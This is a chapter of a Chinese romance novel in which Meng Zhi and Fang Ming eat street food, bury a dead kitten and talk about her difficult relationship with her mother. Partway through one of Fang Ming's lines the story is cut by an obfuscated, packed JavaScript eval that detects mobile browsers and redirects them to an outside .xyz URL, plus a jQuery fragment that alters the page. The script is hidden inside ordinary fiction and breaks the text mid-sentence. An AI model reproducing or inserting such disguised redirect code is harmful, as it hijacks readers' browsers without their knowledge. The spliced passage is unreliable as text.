眼前这片商区是C市久负盛名的青年聚集地，毗邻艺术学院，既村野且小资，其混合型气质独一无二。
这里没有一座现代化的商场，站在主干道上，只能看见两侧的老旧写字楼。唯一一条显眼的胡同是小吃一条街，烧烤摊的白烟互相融合，颇具集聚效应。只有拐进小路，深入每一片居民楼，那些酒吧、舞厅、买手店、咖啡屋和文创店才会逐一现身，就像一群游走在暗处的朋克乐队成员。
孟至率领方铭走进小吃一条街，就立刻被各式各样的诱惑冲昏了头脑。鳞次栉比的小吃门店像一整个版面的彩色报纸，混乱而五光十色。这些门店不仅占据了这条条绵延的小街道，还以此街为主体向四周蔓延，如同扩散开来的叶脉。
此时正有许多年轻人站在街边，对着垃圾桶吃肉串、章鱼小丸子、狼牙土豆、土耳其烤肉卷饼……孟至容光焕发地跑上前去，差点忘记了方铭。
方铭如影随形地跟在她身后，低头在她耳边说道：“姐姐，这里人好多啊，人群密集恐惧症都犯了。”
孟至放慢了脚步，伸手轻轻勾住他的袖子。在一片车声和吆喝声中，她踮起脚对他说：“就从这家开始！”她的手指向离他们最近的一家鲷鱼烧小店。
很快，方铭的手里提满了大包小裹。孟至一只手拿着一块蜂蜜蛋糕，另一只手拿着一颗冰糖葫芦，在他前面无牵无挂地走着。伴随着气势十足的步伐，酒红色长发在她身后跳跃和摇动。
小吃一条街的主线已经走完，孟至扔掉手里的垫纸和竹签，回头凑到方铭身边，伸手去接那些手提袋：“我来拎我来拎，你吃点儿嘛。”
方铭却摇头说：“你别沾手了，我来吧。”
孟至没再坚持，转而拈起竹签，从纸袋里叉出一个丸子，递到方铭嘴边。他愣了一下，一时间不敢轻举妄动。孟至大大方方地说：“我喂你。”
他的嘴唇微微动了一下，却没有张开。孟至发现他的嘴上仿佛镀着一层雾蒙蒙的粉色晚霞，如同毛茸感的水蜜桃，正中央的唇珠柔韧而纯真。见孟至看着自己的嘴，他又开始不停地眨眼。
孟至作势要收回丸子：“你不吃呀？那我吃了——”
方铭用一根手指阻拦了她即将撤回的手，俯下身来，一口吞入丸子。几乎没看见他是怎么嚼的，丸子被咽了下去，喉结上下起伏。他紧紧盯着孟至的脸，沉沉地说：“再来一个。”
“好嘞。”孟至挺着竹签，深入纸袋重围之中，这次悄悄扎起一块麻辣味炸鸡，又去另一个袋子里沾了几层芥末，不动声色地送到方铭嘴边。她的脸上带着殷勤的笑容，像唱迷魂曲一样对他说：“这个好吃，你快吃。”浓郁的芥末气味，已经随风飘散到孟至的鼻尖上。
想不到方铭又一口吞了下去，面不改色，只是这次吞咽动作缓慢而艰难。孟至顿时不知所措，举着竹签，呆呆地站在原地，心想他可能被毒哑了。她小心翼翼地问：“不辣吗？”
方铭用略带沙哑的嗓音说：“辣。”看着孟至那副闯祸后的心虚表情，他别过头去，微微笑了一下，出声提醒道：“姐姐，不给我喝水吗？”
孟至这才醒悟过来，急忙从另一个手提袋里找出一瓶冰镇桦树汁，插好吸管，举到他面前。他就着孟至的手喝了几口，孟至讨好地问：“好喝吧？不辣了吧？”
他恩了一声，目光重新汇聚在她的脸上，如同两束灯光追随着星辰。他歪着头说：“我喜欢甜的。”
然而，孟至觉得他说的并不是桦树汁。不知不觉，她捏紧了竹签，轻轻避开他的目光，含糊地说：“甜的？”
他有意无意地靠近一步，又重复了一遍：“恩，我喜欢甜的。”
不等他再说什么，孟至转身就跑，带头奔向下一条街：“去那边看看，那边好像有柴犬咖啡店。”
在她身后，方铭慢悠悠地说：“我知道那家店怎么走。”孟至刹住脚步，任由他在前方开路，自己亦步亦趋地跟着，十分本分。在小方的带领下，他们穿越潮水般的人群，高抬腿跨过一道土坡，迈大步爬上荒芜的花坛，最后又回到人行道上。
孟至忍不住说：“哎，小方，你要是以后带女孩约会可别这么抄近道。”方才要不是她身手矫健，可能已经要手脚并用爬着走了。
方铭若无其事地说：“可这是最直接的路线啊。”
看起来，他觉得自己做得好极了。孟至刚想嘲笑他，忽然被他轻轻拉住了。方铭看着脚下，低声说：“猫。”
一只巴掌大的幼年狸猫躺在地上，身上沾满了污泥，几乎和地面融为一体。它已经死去，在它周围，几道混乱的车辙痕迹拖过地面，经过了它的身上，在猫的皮毛上留下烙印，又毫不在意地继续向前延伸而去。
孟至停住脚步，心脏一瞬间悬停了一下。大概是在墓园里看惯了整容后的遗体，当她近距离面对惨死于电动车轮下的猫尸，她突然感到恐惧。她伸手勾着方铭的袖子，两人悄无声息地上前半步，蹲在地上看着血肉模糊的猫身。
方铭手里垫着几张纸巾和塑料布，将狸猫转移到空纸袋中。孟至不想触碰死去的生物，她知道那种冰冷的触感令人胆寒。他们找了很久，终于找到一片有树有湖的场地，于是用几根竹签挖了地洞，将狸猫葬在林中。方铭在猫冢上插了三根竹签，孟至默不作声地蹲在他旁边，久久抱着膝盖。
“想什么呢？”他看着坟头，轻声问道，“是不是害怕了？”
“还行，我本来也是风水师。”孟至也看着坟头，两人谁也没有看谁。过了一会儿，孟至说：“我只是在想，如果是人被撞了，过路人看了一定会受震撼，会围上来急救，会觉得同情。现在是猫被撞死，为什么人类就不会受太大震撼呢？”
方铭依然没有看她，但是声音里带有一丝笑意：“人类也会受震撼啊，比如你啊。”
孟至继续说道：“我的意思是，为什么过路人没有共情它呢？是不是人真的比动物金贵？”
方铭回答道：“人也会共情它啊，比如你啊。”
两人蹲得双腿发麻，终于离开猫冢，沿着湖堤慢慢兜圈。夏季秋初，冷风四起，柳树的枝条不停地飘向湖水，就像无数双手在诡异而柔曼地触摸湖面。那种无规则的律动令孟至着迷，她沉浸地看着，下意识地向方铭靠拢过来。两人的肩头偶尔轻微地触碰，再立即分开。
孟至忽然说：“人可真是奇怪啊。你说，为什么我能共情一只不认识的猫，但是不能共情自己的妈妈？”
方铭敏感地观察着她的脸色，缓慢地问道：“你妈妈，她怎么了？”
“她和我姥姥关系不好。我姥姥姥爷没有尽到责任，她小时候就像个野孩子。”孟至抱起手臂，尽量用最少的句子阐述这些陈年积怨，“我妈每次说起这个就怨气冲天，我明明应该同情她呀？可我怎么从来不想着她的不容易，我每次都烦得很，会找机会逃跑。”
方铭轻声笑了。太阳沉入楼房之后，一阵大风猛烈地吹来，孟至缩得更紧了。方铭默默脱下长袖衬衫递给她，自己只穿着内搭的短袖T恤。孟至接过来披在身上，哆嗦着说：“我们轮流穿吧，一会儿还给你。”
“逃跑才是正常的吧。”方铭突然开始回答她的问题，“每个人自己走路就已经很沉重了，怎么还能再背一个别人的包袱呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419259|184753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？即使是母女俩，也没法替对方去活。”
孟至恩了一声。也许是这件带着体温的衬衣让她血液回暖，她突然觉得心里的重负减轻了一些，就像一间堆满沙石的仓库突然被清出了一块空地。她忍不住向方铭说出更多鸡零狗碎的往事：“你知道吗，2018年的时候，我去替我妈跑腿办事，结果办砸了。她觉得我得罪了人，大骂了我一顿，我好几年都没缓过来。”
“这样很伤自尊心吧。”方铭就像能跟人共感，准确地说出了刺痛的来源。那次大吵之后，孟至有一两年都没怎么回家。他又问：“那时候你才多大？她有没有事先教你，去了怎么说话，怎么做事？”
“那是一点没教啊。”孟至苦着脸说，“那时候我才上大一呢，我懂什么呀。我自以为办得很好，结果回来被大骂一顿，哎——”
在孟至的长吁短叹里，方铭突然若有所思地看着她。接着，他的嘴角不宜察觉地上扬起来，好像终于摸清了探询已久的秘密。
孟至总结道：“所以我现在总是懒洋洋的，见势不妙就躲，我才懒得跟她吵呢。”
方铭真诚地说：“你可能是缺乏维生素d，才会乏力，姐姐。”最后两个字喊得很轻，就像薄纱般的耳语。
“……”孟至以一句升华式的结尾，作为这次讨论的终点，“长大的好处，就是有能力照顾自己，可以独自生活。”
他却好像对孟至的过去很感兴趣，竟然不想结束这对话：“那你怎么还回家来了？还是说……你之后会再离开这里？”
谈话又绕回了那天的问题，孟至仍然没有答案。她无奈地说：“我也不知道。我总觉得自己没有陪伴父母，现在他们年纪大了，身体越来越差了。但是真的回到他们身边，又会让我不太开心。”
“父母啊。”方铭垂着头，轻轻踢着路上的石块。他仿佛在自言自语：“父母年轻时候为家庭操劳，养育孩子，很辛苦。到老了又没有陪伴。”
这几句话没头没脑，既像是在回答孟至，又好像没有切题。孟至觉得他是在勉强地敷衍作答，但这又并非他的本意。她抬头看向方铭，发现他心不在焉，脸上浮现出一层低落的神色。
出于一个优秀销售顾问的觉悟，孟至猜测他此刻内心正感忧郁。但她不知道自己说错了什么，她复盘着方才的对话，突然内心一个激灵。方铭会不会已经没有父母，所以被触动了伤心往事？
接着，她又想起方铭曾说他有一次回父母家办事，还说他拥有一缸父亲手酿的人参酒。悬着的心又放下了，孟至觉得自己太过敏感，也许一切都风调雨顺，他只是开始犯困或不耐烦了而已。她这才意识到，整个晚上，湖边的对话都一直围绕着她而展开。在她做销售时，她与客户的对话永远围绕着客户展开，她必须小心地保持着交谈的方向，避免让自己占据太多篇幅。
而在方铭面前，她似乎总是被摆放到主角的位置。
正在孟至胡思乱想时，忽然听见方铭在问：“你吃蛋糕吗？”
孟至想也没想，脱口而出：“吃。”然后她抬起头来，发现两人不知不觉走出了公园，走到了一条不起眼的街道。路边是一家蛋糕店的橱窗，奶油的甜香一浪一浪地传来。方铭微微一笑，从敞开的窗口里买了几种小蛋糕。
还没来得及抢单，方铭已经付了款，把淡黄色的纸袋递到孟至面前。孟至不好意思去接，她觉得自己刚才答得太快，好像在讹人家蛋糕。方铭却说：“带回去当早餐吧，今晚谢谢你请我吃饭。”
孟至接了过来，对他抿嘴哼哼一笑。在告别之前，方铭清淡地说：“开心点。小小年纪，别老心事那么重。”